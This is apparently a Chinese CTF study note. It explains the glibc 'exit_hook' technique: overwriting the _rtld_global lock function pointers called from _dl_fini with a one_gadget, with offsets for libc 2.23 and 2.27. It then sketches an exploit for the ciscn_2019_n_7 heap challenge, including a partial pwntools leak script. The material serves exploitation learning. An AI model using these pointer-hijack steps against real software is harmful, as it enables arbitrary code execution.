参考: https://www.cnblogs.com/bhxdn/p/14222558.html

exit的函数流

demo

1
2
3
4
5
6
7
#include<stdio.h>
#include <stdlib.h>
void main()
{
printf("bhxdn\n");
exit(0);
}

​ 不同libc版本不知道差别大不大,回头可以总结下, 2.35也是有这两个函数的

​ -> __run_exit_handlers

​ -> _dl_fini

​ _dl_fini中调用了 _ _rtld_lock_lock_recursive 和 __rtld_lock_unlock_recursive , 所以修改它们为onegadgte就可以getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void
internal_function
_dl_fini (void)
{
..
#ifdef SHARED
int do_audit = 0;
again:
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock));

unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* No need to do anything for empty namespaces or those used for
auditing DSOs. */
if (nloaded == 0
#ifdef SHARED
|| GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
)
__rtld_lock_unlock_recursive (GL(dl_load_lock));

寻找要修改的函数指针

​ 那如何修改呢? 需要找到这两个函数的位置,修改指针

image-20240211155210658

​ 可以看到这里的符号信息是rtld_lock_default_lock_recursive,而不是__rtld_lock_lock_recursive,为什么呢?

​ 答: 可能是利用了一些函数指针替换、宏替换等等,先不细究

1
2
3
4
5
#if defined SHARED && defined _LIBC_REENTRANT \
&& defined __rtld_lock_default_lock_recursive
GL(dl_rtld_lock_recursive) = rtld_lock_default_lock_recursive;
GL(dl_rtld_unlock_recursive) = rtld_lock_default_unlock_recursive;
#endif

​ 可以根据打印的地址反推出来是在_rtld_global结构体中

1
2
3
4
5
6
7
8
pwndbg> tele 0x7ffff7de795e+0x2165e4
00:00000x7ffff7ffdf42 (_rtld_global+3842) ◂— 0x7d20000000000000
01:00080x7ffff7ffdf4a (_rtld_global+3850) ◂— 0x7d3000007ffff7dd
02:00100x7ffff7ffdf52 (_rtld_global+3858) ◂— 0xaed000007ffff7dd
03:00180x7ffff7ffdf5a (_rtld_global+3866) ◂— 0x600007ffff7de
04:00200x7ffff7ffdf62 (_rtld_global+3874) ◂— 0x1000000000000
05:00280x7ffff7ffdf6a (_rtld_global+3882) ◂— 0x3000000000000000
06:00300x7ffff7ffdf72 (_rtld_global+3890) ◂— 0x100007ffff7ff

​ 该结构体的定义如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct rtld_global _rtld_global =
{
/* Generally the default presumption without further information is an
* executable stack but this is not true for all platforms. */
._dl_stack_flags = DEFAULT_STACK_PERMS,
#ifdef _LIBC_REENTRANT
._dl_load_lock = _RTLD_LOCK_RECURSIVE_INITIALIZER,
._dl_load_write_lock = _RTLD_LOCK_RECURSIVE_INITIALIZER,
#endif
._dl_nns = 1,
._dl_ns =
{
#ifdef _LIBC_REENTRANT
[LM_ID_BASE] = { ._ns_unique_sym_table
= { .lock = _RTLD_LOCK_RECURSIVE_INITIALIZER } }
#endif
}
};

​ 根据作者文章可以知道这两个函数在_rtld_global结构体中,可以在gdb中进行打印,但为什么这个结构体定义那么简单,但在gdb中打印出来那么复杂?

​ 答: 是因为在使用的时候会进行各种赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> p _rtld_global
$2 = {
_dl_ns = {{
_ns_loaded = 0x7ffff7ffe168,
.....
},
audit_data = {{
cookie = 0,
bindflags = 0
} <repeats 16 times>},
_dl_rtld_lock_recursive = 0x7ffff7dd7d20 <rtld_lock_default_lock_recursive>,
_dl_rtld_unlock_recursive = 0x7ffff7dd7d30 <rtld_lock_default_unlock_recursive>,
......

​ 找到对应的地址, 只要把这俩地址中的一个改成了onegadget就可以getshell了,(或者system+binsh)

1
2
3
4
5
6
7
8
9
pwndbg>
0x7ffff7ffdf40 <_rtld_global+3840>: 0x0000000000000000 0x00007ffff7dd7c90
0x7ffff7ffdf50 <_rtld_global+3856>: 0x00007ffff7dd7ca0 0x00007ffff7deb0e0
0x7ffff7ffdf60 <_rtld_global+3872>: 0x0000000000000006 0x0000000000000001
0x7ffff7ffdf70 <_rtld_global+3888>: 0x00007ffff7ff5908 0x0000000000000001
0x7ffff7ffdf80 <_rtld_global+3904>: 0x0000000000001000 0x0000000000000078
0x7ffff7ffdf90 <_rtld_global+3920>: 0x0000000000000040 0x00007ffff7ff3010
0x7ffff7ffdfa0 <_rtld_global+3936>: 0x0000000000000001 0x00007ffff7de3130
0x7ffff7ffdfb0 <_rtld_global+3952>: 0x0000000000000000 0x0000000000000000

在libc-2.23中
exit_hook = libc_base+0x5f0040+3848

exit_hook = libc_base+0x5f0040+3856

在libc-2.27中

exit_hook = libc_base+0x619060+3840

exit_hook = libc_base+0x619060+3848

ciscn_2019_n_7

有后门函数, 直接改就行啦

最后两位 51b9

只能添加一个

2.23

1
2
3
0x555555605000  0x0000000000000000      0x0000000000000021      ........!.......
0x555555605010 0x000000000000000c 0x0000000a656d616e ........name....
0x555555605020 0x0000555555605030 0x0000000000000021 0P`UUU..!.......

edit这里read有溢出, name这里,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __fastcall sub_ED0(__int64 a1, void *a2)
{
unsigned __int64 v3; // [rsp+8h] [rbp-10h]

v3 = __readfsqword(0x28u);
if ( unk_202014 )
{
puts("New Author name:");
read(0, qword_202018 + 1, 0x10uLL);
puts("New contents:");
a1 = 0LL;
a2 = (void *)qword_202018[2];
read(0, a2, *qword_202018);
if ( __readfsqword(0x28u) == v3 )
return puts("Over.");
}
else if ( __readfsqword(0x28u) == v3 )
{
return puts("Dont't exists.");
}
return show(a1, (unsigned __int64)a2);
}

这不就能实现一个任意地址写了吗

先name溢出修改函数指针,然后实现任意地址写

思路就有了,先泄露地址,然后得到libc地址,onegadget地址, 然后计算exit_hook,改成onegadget就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

elf = "./ciscn_2019_n_7"

context.log_level= "debug"

p = process(elf)
#p =remote("124.16.75.116", 52018)
context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(p)

def leak():
p.recvuntil("Your choice-> ")
p.sendline(b"666")
addr = p.recv()[0:16]
print(hex(addr))

leak()
p.interactive()

libcsearch

多了个回车 0a导致了打不通

哪来的0a呢, 是之前的sendline留下来的,

那为什么删除了之后还是打不通呢?

在close 2那里出问题了

所以不能close? 直接调用exit?

对,直接sendline一个不存在的参数

1
2
3
4
def edit(name,content):
p.sendlineafter('choice-> \n','2')
p.sendafter('name:\n',name)
p.sendafter('contents:\n',content)

https://blog.csdn.net/qq_62887641/article/details/132867225

https://www.cnblogs.com/LynneHuan/p/15229694.html

怎么找函数地址来,用libc

libc.sym

libsearch出来的呢?

onegadget的选择

根据libc版本选择,虽然版本相近有时候相似,但有时候 一个字节也不能错,所以一定要确定好

能断到 onegadget吗? 应该是有些寄存器条件不符合所有有的不行

问题

如果不知道版本,怎么用搜出来的libc找onegadget地址? (手动确实也不是不行..)